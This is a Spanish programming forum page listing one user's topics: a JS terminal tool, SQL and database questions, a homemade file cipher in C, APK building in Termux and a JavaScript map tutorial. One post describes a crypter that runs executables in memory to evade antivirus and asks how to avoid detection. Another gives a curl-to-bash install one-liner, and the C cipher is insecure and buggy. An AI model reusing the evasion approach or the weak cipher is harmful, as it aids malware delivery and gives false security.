Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - @XSStringManolo

#1
Scripting / Correr javascript en la terminal.
12 Diciembre 2021, 03:32 AM
Hice un comando para poder correr javascript en la terminal.

Necesitas node/npm

Lo instalas con el comando:
npm install --global command-javascript

Ejemplos:

$ js 'console.log("Hello world")'

$ date | js 'console.log(pipedStdin.split(" ")[3])'

$ js 'console.log(run("curl --silent http://example.com"))' | wc -w

Ventajas:
- El código permanece en el historial. (Para mover con las flechas)
- Forma rápida de ejecutar javascript
- Incluye una función run para correr comandos directamente desde el código js
- Te permite mezclar shell y javascript pudiendo obtener input de otros comandos para manipularlo.
- Puedes añadir tus funciones custom añadiendo código a la función javascriptFunctions del programa. Así las tendrás disponibles en la terminal.
#2
Chicos, sabeis si hay algún tipo de consulta para sacar records de todas las tablas que coincidan con parte de un parámetro?

Con un ejemplo se entiende mejor.

Quiero que al poner en una barra de búsquedas:

man

Consultar la base de datos para sacar de la tabla usuarios:
manolo, manuel, mani, ...

Y de la tabla grupos:
manuales, como hacer manualidades,  las manzanas de oro, ...

Mi duda es si sql tiene alguna forma de hacer esto, o si por el contrario tengo que leer todas las entradas de la tabla y comparar usando un lenguaje de programación para mostrar los resultados.
#3
Estoy creando una red social usando postgresql y node. Tengo dudas a cerca de como debería organizar los datos. Esta es mas o menos toda la información  que quiero almacenar:
numero_telefono, correo, nombre_usuario, contraseña, nombre, primer_apellido, segundo_apellido, genero, pais, ciudad, enlace_foto_perfil, codigo_verificacion, esta_activo, esta_reportado, esta_bloqueado, fecha_creacion, fecha_actualizacion, biografia, mensajes_privados, mensajes_publicos, amigos, grupos, perfil_publico_o_privado, ...

Probablemente necesite añadir mas información como puedan ser ajustes, reportes y lo típico de una red social.

Mi duda es como debería organizar esta información. Creo solo una tabla usuarios? Multiples tablas con el mismo id?

Cualquier consejo es bienvenido.
#4
Hice un crypter cli (comando) en C# al que le pasas la ruta de un exe como argumento y te genera un código (listo para compilar) que descifra y ejecuta el exe en memoria para evitar detecciones estáticas.

Por lo que parece este comportamiendo es detectado como malicioso.

https://www.virustotal.com/gui/file/25e60c67ac1c177cfa60eb9637ffb4b27dfbf247a5ce00b66c27eb3c3a7882a5/detection

Lo que subí a virustotal, es un hola_mundo.exe pasado por el crypter, es decir el nuevo exe generado a partir del hola_mundo.exe que se encarga de descifrar su binario y correrlo en memoria.

Conoceis alguna forma simple de evitar estas detecciones?

Aquí el código (del hola_mundo.exe compilado) generado antes de compilarlo. Este es el que subí a virustotal una vez compilado:
https://gist.github.com/StringManolo/6a3f7205e8cc7f075fcfb177bc9728f3

Adjunto también el .exe compilado:
https://github.com/StringManolo/share/raw/master/hello_world.exe
md5sum 058e321a21469b6fd3983f143b8af787
sha256sum 25e60c67ac1c177cfa60eb9637ffb4b27dfbf247a5ce00b66c27eb3c3a7882a5
#5
Estoy haciendo un cifrado CBC y añado 1024 bytes generados de forma pseudoaleatoria al final del archivo que el usuario eliga cifrar. Por motivos de debug, estos 1024 bytes a parte de añadirlos al archivo, también creo un archivo llamado lastIV.txt con estos 1024 bytes.

Estoy programando la parte que descifra y el primer paso que estoy haciendo es obtener esos últimos 1024 bytes del final del archivo cifrado que corresponden al IV generado aleatoriamente. Para ver el resultado, escribo estos 1024 bytes en un archivo externo al que llamo extractedIV.txt

Al comparar ambos archivos, que deberían ser exactamente iguales, algunos bytes no coinciden y no tengo ni idea de porque ambos archivos no son iguales.

Aquí adjunto sus hex creados con xxd:

lastIV.txt
00000000: 5dcf c46c d3d7 561f 5b23 2c8c d252 c5c9  ]..l..V.[#,..R..
00000010: 8cf5 8070 706e df2b 2fe8 5d2b f3ff f2d8  ...ppn.+/.]+....
00000020: bd7e 8c99 edc4 a87a 26f1 077f 5d2f 132b  .~.....z&...]/.+
00000030: 2b83 1319 4e76 0e0f 0822 0d9b f686 071d  +...Nv..."......
00000040: 0ea2 b106 5cf6 1401 48a8 a95e f9b7 2ade  ....\...H..^..*.
00000050: 194e 5e80 c744 1fac 81c3 af2b ae30 2ba9  .N^..D.....+.0+.
00000060: 3f56 7b6c c413 e4af c24b 2cc4 001e b74f  ?V{l.....K,....O
00000070: f1a2 1a2b 8881 20fc b41f 12bd 14e0 9017  ...+.. .........
00000080: d8ee 866e cea9 6759 36a6 6c7d c55c b389  ...n..gY6.l}.\..
00000090: ae80 d81f 2c2b 8049 826c b9df 071b d5cd  ....,+.I.l......
000000a0: 943f acd7 0f20 4f13 1956 5c23 0b89 81c4  .?... O..V\#....
000000b0: 95e2 f3f2 7b90 f174 bdc9 0df4 ec81 6ea9  ....{..t......n.
000000c0: 132a 5e42 93e0 0d5e a4ca 13ec d013 63dc  .*^B...^......c.
000000d0: a218 5dca c54e 2ea9 0607 d53c b022 2781  ..]..N.....<."'.
000000e0: 0b7e 7142 135b de22 c5de df6d 825d 755c  .~qB.[."...m.]u\
000000f0: 6c81 1a53 6c1b 2e2b d32a fdd0 0bd6 d629  l..Sl..+.*.....)
00000100: 816e 5780 4e0b bde1 13c9 1159 4950 5c88  .nW.N......YIP\.
00000110: 927d 235c c9e8 e83c 0b9e 7fbd 959f 830d  .}#\...<........
00000120: 3b8c d7ca d7ef c3a2 2e8e ff5e dae2 f494  ;..........^....
00000130: 9fbd 5be1 a65d abe8 d8d5 862d 42b7 0ba9  ..[..].....-B...
00000140: e6ed 3ccc 2ca8 30f2 a950 883b 6722 225d  ..<.,.0..P.;g""]
00000150: 3c5c 1907 f2f7 9ab7 01b3 2cd5 98da 4080  <\........,...@.
00000160: 2319 9859 1a1a 22e8 2f21 f5c2 363d c918  #..Y.."./!..6=..
00000170: 9990 e842 ef1b efab 5e3d a2bd 2b1f 2b2a  ...B....^=..+.+*
00000180: 922f 80f5 4b36 e636 aba6 5d17 c375 8095  ./..K6.6..]..u..
00000190: 8de8 e813 aef4 ce04 33d8 f221 e8c5 d801  ........3..!....
000001a0: 93b7 ed1b 9a95 bf3d b72b 08da a4bf b165  .......=.+.....e
000001b0: bd71 c77d ee2b a853 79c0 9e52 2092 c5d8  .q.}.+.Sy..R ...
000001c0: 19e8 4052 1fde 83a1 4e8c 30b3 e619 361e  ..@R....N.0...6.
000001d0: 6cd0 9248 13d8 7bae 9536 5d44 d5e4 131b  l..H..{..6]D....
000001e0: 8c40 49f3 c38d 5d26 c3ec f790 131f f95b  .@I...]&.......[
000001f0: 635c e679 75f3 42e8 a41e 52b4 8852 2bfd  c\.yu.B...R..R+.
00000200: 7a87 d759 f43d c988 537d 6380 cfa4 b7f4  z..Y.=..S}c.....
00000210: b41b ecc7 ccfd 825c e46e 6eb4 e4c9 e83d  .......\.nn....=
00000220: 2ad1 f2a2 1fd7 7df1 843f 01f1 9664 185c  *.....}..?...d.\
00000230: 0000 0000 0000 0000 8776 ec75 5ba2 4052  .........v.u[.@R
00000240: 0004 0000 0000 0000 2010 61f9 7c00 0000  ........ .a.|...
00000250: 0000 0000 0000 0000 2010 61f9 7c00 0000  ........ .a.|...
00000260: 0010 0000 0000 0000 0010 0000 0000 0000  ................
00000270: d0d0 53d5 7f00 0000 5453 55f9 7c00 0000  ..S.....TSU.|...
00000280: 4841 01f9 7c00 0000 5417 2ce1 2c13 3c04  HA..|...T.,.,.<.
00000290: 90d1 53d5 7f00 0000 54da 5cf9 7c00 0000  ..S.....T.\.|...
000002a0: 0d17 da1a 2220 1f18 47b3 0000 0000 0000  ...." ..G.......
000002b0: 9fcc 1400 0000 0000 8081 0000 0100 0000  ................
000002c0: 8f27 0000 8f27 0000 0000 0000 0000 0000  .'...'..........
000002d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000002e0: 0010 0000 0000 0000 0000 0000 0000 0000  ................
000002f0: 3a9e 1161 0000 0000 0092 fe1e 0000 0000  :..a............
00000300: 3a9e 1161 0000 0000 0092 fe1e 0000 0000  :..a............
00000310: 3a9e 1161 0000 0000 0092 fe1e 0000 0000  :..a............
00000320: 0000 0000 0000 0000 843f 01f1 9664 185c  .........?...d.\
00000330: 40ce 53d5 7f00 0000 0100 0000 0000 0000  @.S.............
00000340: 20d2 53d5 7f00 0000 4841 01f9 7c00 0000   .S.....HA..|...
00000350: b0d1 53d5 7f00 0000 08f4 5cf9 7c00 0000  ..S.......\.|...
00000360: 4841 01f9 7c00 0000 0004 0000 0004 0000  HA..|...........
00000370: 10d2 53d5 7f00 0000 28d3 5cf9 7c00 0000  ..S.....(.\.|...
00000380: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000390: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000003a0: 0004 0000 0000 0000 2010 61f9 7c00 0000  ........ .a.|...
000003b0: 40ce 53d5 7f00 0000 0100 0000 0000 0000  @.S.............
000003c0: 0004 0000 0000 0000 4841 01f9 7c00 0000  ........HA..|...
000003d0: 80d2 53d5 7f00 0000 f410 5ef9 7c00 0000  ..S.......^.|...
000003e0: 38d2 53d5 7f00 0000 0100 0000 7c00 0000  8.S.........|...
000003f0: 0004 0000 0000 0000 40ce 53d5 7f00 0000  ........@.S.....


extractedIV.txt
00000000: 5dcf c46c d3d7 561f 5b23 2c8c d252 c5c9  ]..l..V.[#,..R..
00000010: 8cf5 8070 706e df2b 2fe8 5d2b f3ff f2d8  ...ppn.+/.]+....
00000020: bd7e 8c99 edc4 a87a 26f1 077f 5d2f 132b  .~.....z&...]/.+
00000030: 2b83 1319 4e76 0e0f 0822 0d9b f686 071d  +...Nv..."......
00000040: 0ea2 b106 5cf6 1401 48a8 a95e f9b7 2ade  ....\...H..^..*.
00000050: 194e 5e80 c744 1fac 81c3 af2b ae30 2ba9  .N^..D.....+.0+.
00000060: 3f56 7b6c c413 e4af c24b 2cc4 001e b74f  ?V{l.....K,....O
00000070: f1a2 1a2b 8881 20fc b41f 12bd 14e0 9017  ...+.. .........
00000080: d8ee 866e cea9 6759 36a6 6c7d c55c b389  ...n..gY6.l}.\..
00000090: ae80 d81f 2c2b 8049 826c b9df 071b d5cd  ....,+.I.l......
000000a0: 943f acd7 0f20 4f13 1956 5c23 0b89 81c4  .?... O..V\#....
000000b0: 95e2 f3f2 7b90 f174 bdc9 0df4 ec81 6ea9  ....{..t......n.
000000c0: 132a 5e42 93e0 0d5e a4ca 13ec d013 63dc  .*^B...^......c.
000000d0: a218 5dca c54e 2ea9 0607 d53c b022 2781  ..]..N.....<."'.
000000e0: 0b7e 7142 135b de22 c5de df6d 825d 755c  .~qB.[."...m.]u\
000000f0: 6c81 1a53 6c1b 2e2b d32a fdd0 0bd6 d629  l..Sl..+.*.....)
00000100: 816e 5780 4e0b bde1 13c9 1159 4950 5c88  .nW.N......YIP\.
00000110: 927d 235c c9e8 e83c 0b9e 7fbd 959f 830d  .}#\...<........
00000120: 3b8c d7ca d7ef c3a2 2e8e ff5e dae2 f494  ;..........^....
00000130: 9fbd 5be1 a65d abe8 d8d5 862d 42b7 0ba9  ..[..].....-B...
00000140: e6ed 3ccc 2ca8 30f2 a950 883b 6722 225d  ..<.,.0..P.;g""]
00000150: 3c5c 1907 f2f7 9ab7 01b3 2cd5 98da 4080  <\........,...@.
00000160: 2319 9859 1a1a 22e8 2f21 f5c2 363d c918  #..Y.."./!..6=..
00000170: 9990 e842 ef1b efab 5e3d a2bd 2b1f 2b2a  ...B....^=..+.+*
00000180: 922f 80f5 4b36 e636 aba6 5d17 c375 8095  ./..K6.6..]..u..
00000190: 8de8 e813 aef4 ce04 33d8 f221 e8c5 d801  ........3..!....
000001a0: 93b7 ed1b 9a95 bf3d b72b 08da a4bf b165  .......=.+.....e
000001b0: bd71 c77d ee2b a853 79c0 9e52 2092 c5d8  .q.}.+.Sy..R ...
000001c0: 19e8 4052 1fde 83a1 4e8c 30b3 e619 361e  ..@R....N.0...6.
000001d0: 6cd0 9248 13d8 7bae 9536 5d44 d5e4 131b  l..H..{..6]D....
000001e0: 8c40 49f3 c38d 5d26 c3ec f790 131f f95b  .@I...]&.......[
000001f0: 635c e679 75f3 42e8 a41e 52b4 8852 2bfd  c\.yu.B...R..R+.
00000200: 7a87 d759 f43d c988 537d 6380 cfa4 b7f4  z..Y.=..S}c.....
00000210: b41b ecc7 ccfd 825c e46e 6eb4 e4c9 e83d  .......\.nn....=
00000220: 2ad1 f2a2 1fd7 7df1 843f 01f1 9664 185c  *.....}..?...d.\
00000230: 0000 0000 0000 0000 8776 ec75 5ba2 4052  .........v.u[.@R
00000240: 0004 0000 0000 0000 2010 61f9 7c00 0000  ........ .a.|...
00000250: 0000 0000 0000 0000 2010 61f9 7c00 0000  ........ .a.|...
00000260: 0010 0000 0000 0000 0010 0000 0000 0000  ................
00000270: d0d0 53d5 7f00 0000 5453 55f9 7c00 0000  ..S.....TSU.|...
00000280: b040 01f9 7c00 0000 5417 2ce1 2c13 3c04  .@..|...T.,.,.<.
00000290: 90d1 53d5 7f00 0000 54da 5cf9 7c00 0000  ..S.....T.\.|...
000002a0: 0d17 da1a 2220 1f18 47b3 0000 0000 0000  ...." ..G.......
000002b0: 3b78 0c00 0000 0000 8081 0000 0100 0000  ;x..............
000002c0: 8f27 0000 8f27 0000 0000 0000 0000 0000  .'...'..........
000002d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000002e0: 0010 0000 0000 0000 0000 0000 0000 0000  ................
000002f0: ed8d 1161 0000 0000 00a0 2526 0000 0000  ...a......%&....
00000300: 3a9e 1161 0000 0000 0092 fe1e 0000 0000  :..a............
00000310: 3a9e 1161 0000 0000 0092 fe1e 0000 0000  :..a............
00000320: 0000 0000 0000 0000 843f 01f1 9664 185c  .........?...d.\
00000330: 2ce7 53d5 7f00 0000 0100 0000 0000 0000  ,.S.............
00000340: 20d2 53d5 7f00 0000 b040 01f9 7c00 0000   .S......@..|...
00000350: b0d1 53d5 7f00 0000 08f4 5cf9 7c00 0000  ..S.......\.|...
00000360: b040 01f9 7c00 0000 ee39 806d 2bd7 3d50  .@..|....9.m+.=P
00000370: 10d2 53d5 7f00 0000 843f 01f1 9664 185c  ..S......?...d.\
00000380: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000390: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000003a0: 0004 0000 0000 0000 2010 61f9 7c00 0000  ........ .a.|...
000003b0: 40ce 53d5 7f00 0000 0100 0000 0000 0000  @.S.............
000003c0: 0004 0000 0000 0000 b040 01f9 7c00 0000  .........@..|...
000003d0: 80d2 53d5 7f00 0000 f410 5ef9 7c00 0000  ..S.......^.|...
000003e0: 38d2 53d5 7f00 0000 0100 0000 0000 0000  8.S.............
000003f0: 0004 0000 0000 0000 40ce 53d5 7f00 0000  ........@.S.....


Aquí el código:
Código (cpp) [Seleccionar]
#include<stdio.h>
#include<stdlib.h>
#include<time.h>

// add operation between 2 buffers
void addBuffers(char * buf1, char * buf2, int bufSize) {
 for(int i = 0; i < bufSize; ++i) {
   buf1[i] = (buf1[i] + buf2[i]);
 }
}

// substract operation between 2 buffers
void substractBuffers(char * buf1, char * buf2, int bufSize) {
 for(int i = 0; i < bufSize; ++i) {
   buf1[i] = (buf1[i] - buf2[i]);
 }
}

// make key match the block size
void securizeKey(char * keyBuf, char * key, int keySize, int chunkSize) {
 for (int i = 0, j = 0; i < chunkSize; ++i, ++j) {
   if (j > keySize) {
     j = 0;
   }
   keyBuf[i] = key[j];
 }
}

// generate pseudorandom buffer
char *allocate_random_heap_buffer(size_t size) {
 time_t current_time = time(NULL);
 srandom((unsigned int) current_time);
 char* allocatedMemory = (char *) malloc(size);

 for (int bufferIndex = 0; bufferIndex < size; bufferIndex++) {
   uint8_t randomNumber = (uint8_t) random();
   allocatedMemory[bufferIndex] = randomNumber;
 }

 return allocatedMemory;
}

// generate a pseudorandom IV
void generateIV(char * ivBuf, int chunkSize) {
 char * random = allocate_random_heap_buffer(chunkSize);
 for (int i = 0; i < chunkSize; ++i) {
   if (random[i] < chunkSize) {
     ivBuf[i] = random[random[i]];
   } else {
     ivBuf[i] = random[i];
   }
 }
}

char * GENERATED_IV;
// block cipher encryption
void cipherBlock(char * bufferBlock, char * bufferBlock2, char * key, int blockSize, int round) {
 if (round == 1) { // add IV to first block
   char IV[blockSize];
   generateIV(IV, blockSize);
   addBuffers(bufferBlock, IV, blockSize);
   GENERATED_IV = IV;
 } else { // add Last Block to Current Block
   addBuffers(bufferBlock, bufferBlock2, blockSize);
   addBuffers(bufferBlock, key, blockSize);
 }
}


// reverse


int main(int argc, char *argv[]) {
 /*** Fetch CLI Arguments */
 char * filename; int filenameSet = 0; // file to work on
 char * mode;     int modeSet = 0; // encrypt or decrypt
 char * key;      int keySet = 0; // simmetric key
 char * output;   int outputSet = 0; // file to output results on
 for(int i = 0; i < argc; ++i) {
   // -f or --file
   if (strcmp(argv[i], "-f") == 0 || strcmp(argv[i], "--file") == 0) {
     filename = argv[i + 1];
     filenameSet = 1;
   // -m or --mode
   } else if (strcmp(argv[i], "-m") == 0 || strcmp(argv[i], "--mode") == 0) {
     mode = argv[i + 1];
     modeSet = 1;
   // -k or --key
   } else if (strcmp(argv[i], "-k") == 0 || strcmp(argv[i], "--key") == 0) {
     key = argv[i + 1];
     keySet = 1;
   } else if (strcmp(argv[i], "-o") == 0 || strcmp(argv[i], "--output") == 0) {
     output = argv[i + 1];
     outputSet = 1;
   }
 }
 
 // Check if mandatory arguments are set
 if (filenameSet != 1) {
   printf("Missing filename argument, use -f ./myFile");
   return 0;
 }

 if (modeSet != 1) {
   printf("Please select a mode, use -m cipher or use -m reverse");
   return 0;
 }

 if (keySet != 1) {
   printf("Missing key argument, use -k mySecretKey");
   return 0;
 }

 if (outputSet != 1) {
   printf("Missing output argument, use -o ./newFile");
   return 0;
 }
 /* Fetch CLI Arguments ***/


 #define BLOCK_SIZE 1024
 const int keySize = strlen(key);
 char keyBuf[BLOCK_SIZE];
 securizeKey(keyBuf, key, keySize, BLOCK_SIZE);


 if (strcmp(mode, "cipher") == 0) { // user selected encryption mode
   char buf[BLOCK_SIZE];
   char lastBuf[BLOCK_SIZE];
   FILE *file;
   size_t nread;

   file = fopen(filename, "r");
   FILE * encrypted = fopen(output, "w"); // file to output the encrypted file
   if (file) {
     int i = 0;
     while ((nread = fread(buf, 1, sizeof buf, file)) > 0) {
       cipherBlock(buf, lastBuf, keyBuf, BLOCK_SIZE, ++i);
       memcpy(lastBuf, buf, BLOCK_SIZE);
       fwrite(buf, 1, nread, encrypted);
     }
     fwrite(GENERATED_IV, 1, BLOCK_SIZE, encrypted);
     
     FILE * lastIV = fopen("./lastIV.txt", "w");
     fwrite(GENERATED_IV, 1, BLOCK_SIZE, lastIV); // debug IV

     if (ferror(file)) {
       // deal with error
     }
     fclose(file);
   }
 } else if (strcmp(mode, "reverse") == 0) {
   /* TODO: READ REVERSE IN CHUNKS */
   char buf[BLOCK_SIZE];
   char lastBuf[BLOCK_SIZE];
   FILE *file;
   size_t nread;

   file = fopen(filename, "r");
   FILE * decrypted = fopen(output, "w"); // file to output the decrypted file
   
   if (file) {
     int i = 0;
     fseek(file, 0, SEEK_END);
     int sz = ftell(file); // file size
     char IV[BLOCK_SIZE];

     char aux[BLOCK_SIZE];


     for (int j = sz - BLOCK_SIZE; /* j > 0 */; j -= BLOCK_SIZE, ++i) {
       fseek(file, j, SEEK_SET);
fread(aux, 1, BLOCK_SIZE, file);
       if (i == 0) {
         memcpy(IV, aux, BLOCK_SIZE);
         FILE * extractedIV = fopen("./extractedIV.txt", "w");
         fwrite(IV, 1, BLOCK_SIZE, extractedIV); // debug IV
         fclose(extractedIV);
         return 0;
       }

if (j <= 0) {
         break;
}
     }
     fclose(file);
   }
   
 } else {
   printf("Select -m cipher or -m reverse");
   return 0;
 }
 return 0;
}


PD: Adjunto output de radiff2 de los bytes que son transformados:
0x00000280 4841 => b040 0x00000280
0x000002b0 9fcc14 => 3b780c 0x000002b0
0x000002f0 3a9e => ed8d 0x000002f0
0x000002f9 92fe1e => a02526 0x000002f9
0x00000330 40ce => 2ce7 0x00000330
0x00000348 4841 => b040 0x00000348
0x00000360 4841 => b040 0x00000360
0x00000368 0004000000040000 => ee39806d2bd73d50 0x00000368
0x00000378 28d35cf97c000000 => 843f01f19664185c 0x00000378
0x000003c8 4841 => b040 0x000003c8
0x000003ec 7c => 00 0x000003ec
#6
Estoy generando código C++ a partir de otro código de un lenguaje que estoy desarrollando. La funciones las estoy implementando rollo bash.

Sabeis como puedo declarar los argumentos? Estoy forzado a hacer type inference en el preprocesador/compilador y declarar un template por cada llamada que utilice un tipo distinto (la única solución que se me ocurrió hasta el momento) o conoceis alguna alternativa más sencilla?

CÓDIGO A TRANSPILAR/COMPILAR:
Código (bash) [Seleccionar]
x = "Hello World";
showHelloWorld() {
  out($1);
  return 6 * 7;
}

showHelloWorld(x);
x = 8;



CÓDIGO QUE GENERO:
Código (cpp) [Seleccionar]
#include <string>

using namespace std;

auto showHelloWorld($1);

int main() {
  auto x = "Hello World" ;
  showHelloWorld ( x ) ;
  x = 8 ;

  return 0;
}

auto showHelloWorld($1) {
  cout << $1 << endl;
  return 6 * 7 ;
}



Lo que necesito hacer es asignarle un tipo (para que no de error) a los $1, $2, $3... y al $. Este último es un array con todos los argumentos dentro como en bash.

Hay que tener en cuenta que cada llamada a la función puede tener el mismo argumento con distinto tipo, ejemplo:
Código (cpp) [Seleccionar]
imprimir($1) {
  cout << $1 << endl;
}

int main() {
  imprimir("hola");
  imprimir(7);
  // ...
}


Se os ocurre alguna solución sencilla?
#7
Hola, quería exponer una duda a cerca de una respuesta que hice a un usuario en el foro de C/C++.
En concreto este es el mensaje al que hago referencia: https://foro.elhacker.net/programacion_cc/crash_en_la_consola-t509690.0.html;msg2239804#msg2239804

Mi duda es a cerca de la norma de no resolver tareas a los usuarios del foro. E publicado una respuesta en la que incluyo un ejemplo completo del programa que necesita realizar a posteriori de que el usaurio ya ha conseguido dar con una solución y la ha publicado en el tema.

Mi motivación para aportar una respuesta completa a la tarea viene a coalición con lo que he expuesto en el mismo mensaje. En concreto trato de ejemplificar el uso de identación, funciones puras (lo que trata de usar el usuario que abre el tema) y proponer otra alternativa más organizada a la resolución de la tarea.

La razón de mi duda viene tras recibir un mensaje privado

No entendí cual era el problema asique respondí explicando mi motivación al publicar el código y preguntando cual era el motivo. No me convenció el argumento de la cantidad de lineas de código con respecto al usuario ya que el usuario omitió varios saltos de lineas que yo si añadí para que el código quedase mejor organizado así como el uso de más includes y funciones por mi parte en lugar de meter todo en una sola función, lo cual de por sí cada función son mínimo 4 o 5 lineas más. El prototipo, la declaracion, el return, el corchete final de la declaración y las llamadas que hago en cout, que decidí utilizar 3 llamadas independientes de cout en lugar de una sola para que el código quedase más claro

Tras lo cual:

Yo personalmente creo que mi código no es excesivo ni innecesario, asique en lugar de seguir respondiendo por privado y seguir argumentando (algo que obviamente no va a llevar a ningún lugar porque ya ambas partes hemos expuesto nuestra opinión a cerca del tema y no parece que vayamos a llegar a ningún lado) decido exponer mi duda aquí para zanjar el debate a cerca de si es correcta mi respuesta o no.
En caso de no serlo no tengo ningua objeción en que sea eliminado, modificado o lo que sea.

También me gustaría tener unas directrices claras de cuanto código es excesivo para poder seguir participando sin inclumplir las normas. O si la cantidad de código permitido en una respuesta mantiene algún tipo de relación con la cantidad de código sin identar que publica el usuario que abre el tema.

[MOD] Retirados los MP, estos no deben ser publicados en publico, al ser privados.
#8
Android / Crear APKs en Termux
31 Marzo 2021, 04:18 AM
Crear APKs en Termux
Siempre he querido programar apks (el .exe de android) directamente en Android. Tras varias búsquedas a lo largo del tiempo encontré una forma de crear apks usando comandos. Tanto Java como Kotlin son lenguajes que no me entusiasman precisamente asique he desarrollado un script en javascript y un par de repos para poder construir la apk a partir de una url o una carpeta con archivos html, css, js y demás de tal forma que no tengas que tocar ni una sola linea de código de java, kotlin, xml, etc. No es nada complejo, solo tienes que correr 2 comandos.

Instalación
Mi script utiliza unos cuantos paquetes de Termux:
 Quickjs
 Git
 Aapt
 Apksigner
 Dx
 Ecj
 Curl
 buildAPKs

Hice un commando para que simplemente lo copies y pegues, te deja todo listo. Si acabas de descargarte termux, corre termux-setup-storage antes de nada. Si ya tenías acceso a la carpeta storage no hace falta.

Aquí el comando: yes | pkg install quickjs git aapt apksigner dx ecj curl; curl -O https://raw.githubusercontent.com/BuildAPKs/buildAPKs/master/setup.buildAPKs.bash && yes | bash setup.buildAPKs.bash && cp ~/buildAPKs/scripts/bash/build/build.one.bash ~/../usr/bin/ && chmod +775 ~/../usr/bin/build.one.bash; git clone https://github.com/StringManolo/APKGenerator && cd APKGenerator
La instalación va a crear un par de apks para comprobar que todo funciona. Si te pide permisos para poder levantar termux en segundo plano, te recomiendo aceptarlo ya que te puede ser útil en el futuro cuando hagas o corras algún programa que lo necesita. Cuando finalice la instalación ya podrás crear tu app de Android utilizando APKGenerator

Creando la apk
El método de creación es muy sencillo. Tienes 2 comandos para elegir la fuente que se utilizará para generar la app, desde una url o desde una carpeta con tu index.html, estilos.css, codigo.js, etc.
Para crear desde una url, corre el comando qjs --std APKGenerator.js -u https://example.com -n com.example.miApp -t Example
Para crear desde carpeta pon qjs --std APKGenerator.js -a myAssets -n com.example.miApp -t Example
En este caso se usará la carpeta myAssets que ya se descargó con un index.html, un archivo css y uno javascript para que no tengas que crearlos a mano en caso de que vayas a programar una web de 0. El único requisito es que el archivo se llame index.html.
La única diferencia entre ambos comandos es el primer agumento, que indica si usar una url o una carpeta.

El argumento -n es el nombre del paquete. Es una convención usar un dominio si tienes uno. Esto sirve para que Android sepa diferenciar entre apps que se llamen igual. Puedes poner el nombre que quieras en caso de no tener un dominio.

El argumento -t es el título de la app. Será el nombre que vea el usuario al instalar la app.

Creando desde url
Cuando creas la apk desde una url, se crea un navegador sin barra de direcciones (webview) que va a visitar esa url al abrirla. Todas las peticiones realizadas por el webview incluyen la cabecera HTTP X-Request-With: nombre.del.paquete asique puedes utilizar esta información para servir una versión especial de tu sitio web cuando se te solicite al servidor la web con esta cabecera. Obviamente necesitas internet para que funciones la app. En futuras versiones añadiré caché al webview y un script para cachear tu sitio, así podrás cargar tu sitio web sin conexión a internet.

Creando desde carpeta
Cuando creas desde carpeta esta es añadida a la apk por lo que funciona totalmente offline. Tendrás que manejar tu las actualizaciones de la app para que el usuario pueda actualizar la web. También puedes añadir un script online a la web para encargarte de ello. Recomendado también que utilices la push notifications api de javascript si provees otra forma de actualizarla.

Cambiando archivos de la apk
Cuando realices cualquier tipo de cambio tendrás que generar una nueva apk. Para ello ve a la carpeta de tu proyecto por ejemplo com.example.miApp/src/main y corre el comando build.one.bash
La apk generada se incluye en la carpeta del proyecto (para debug con herramientas si lo necesitas) y en la carpeta Download/builtAPKs para instalar/distribuir. Puedes visitar el repositorio del proyecto en github si desear ver el código, reportar algún fallo, solicitar alguna característica o contribuir en el proyecto. APKGenerator
#9
Map, reduce y filter
A muchos programadores les cuesta entender o encontrar uso para el método
Código (javascript) [Seleccionar]
.map() En este post vamos a programar el método, así podrás entender exactamente que es.

map
Para no ensuciar el array de javascript, vamos a crear una nueva versión del array extendiendo la clase.
Código (javascript) [Seleccionar]
class CustomArray extends Array {
  map() {
    return "metodo custom";                                             
  }
}


Ahora tenemos 2 clases array iguales. La de javascript y la nuestra. La nuestra es casi igual que la de javascript, solo cambia el método map.
Puedes comprobar que funciona con el siguiente código
Código (javascript) [Seleccionar]
class CustomArray extends Array {
  map() {
    return "metodo custom";
  }
}

let numeros = new CustomArray(1, 2, 3); // Crea un array custom
let numeros2 = [1, 2, 3]; // Crea un array normal
numeros.map( num => num + 1); // "metodo custom"
numeros2.map( num => num + 1); // 2, 3, 4


En la primera llamada a map (nuestro método custom) no pasa nada especial porque nuestro método no tiene definido que acepte ningún parámetro, asique se ejecuta el método sin más ignorando los parámetros. En cambio en la segunda llamada a map (el .map() original de javascript) se toma la función como argumento y se le suma 1 a cada elemento del array.

Una función que se pasa por parámetro a otra función/método (con intención de que se ejecute dentro de la función llamada) se le conoce como callback.                                                               
Vamos a hacer que nuestro método acepte una función y la llame:
Código (javascript) [Seleccionar]
class CustomArray extends Array {
  map(callback) { // acepta un parametro cualquiera
    return callback("metodo custom"); // llamalo pasandole el texto como argumento
  }
}

let numeros = new CustomArray(1, 2, 3); // Crea un array custom
let numeros2 = new Array(1, 2, 3); // Crea un array normal

numeros.map( num => num + 1 ); // "metodo custom1"
numeros2.map( num => num + 1 ); // 2, 3, 4


Así añadimos el callback. Aceptamos que se pase una función como argumento de map, llamamos la función que se pasa usando nombreArgumento(); y le pasamos al argumento un argumento en la llamada tal que nombreArgumento("método custom");
Actualmente nuestro map solo añade 1 a nuestro texto, pero el objetivo es que sume 1 a todos los elementos del array. Para ello usaremos this para acceder al CustomArray y sus elementos:
Código (javascript) [Seleccionar]
class CustomArray extends Array {
  map(callback) {
    return callback(this);
  }
}

let numeros = new CustomArray(1, 2, 3);
let numeros2 = new Array(1, 2, 3);

numeros.map( num => num + 1 ); // "1, 2, 31"
numeros2.map( num => num + 1 ); // 2 , 3, 4


Al usar this como parámetro del callback accedemos al array y como no.se pueden sumar arrays y números, javascript opta por un tipo intermedio entre ambos que se pueda sumar, sumándose los strings "1, 2, 3" + "1". Lo que hace map es llamar a la función que le pasamos sobre cada elemento y nos retorna un array con los resultados. Asique acabamos el map con:
Código (javascript) [Seleccionar]
class CustomArray extends Array {
  map(callback) {
    for (let i = 0; i < this.length; ++i) {
      this[i] = callback(this[i])
    }
    return this;
  }
}

let numeros = new CustomArray(1, 2, 3);
let numeros2 = new Array(1, 2, 3);

numeros.map( num => num + 1 ); //2, 3, 4
numeros2.map( num => num + 1); //2, 3, 4

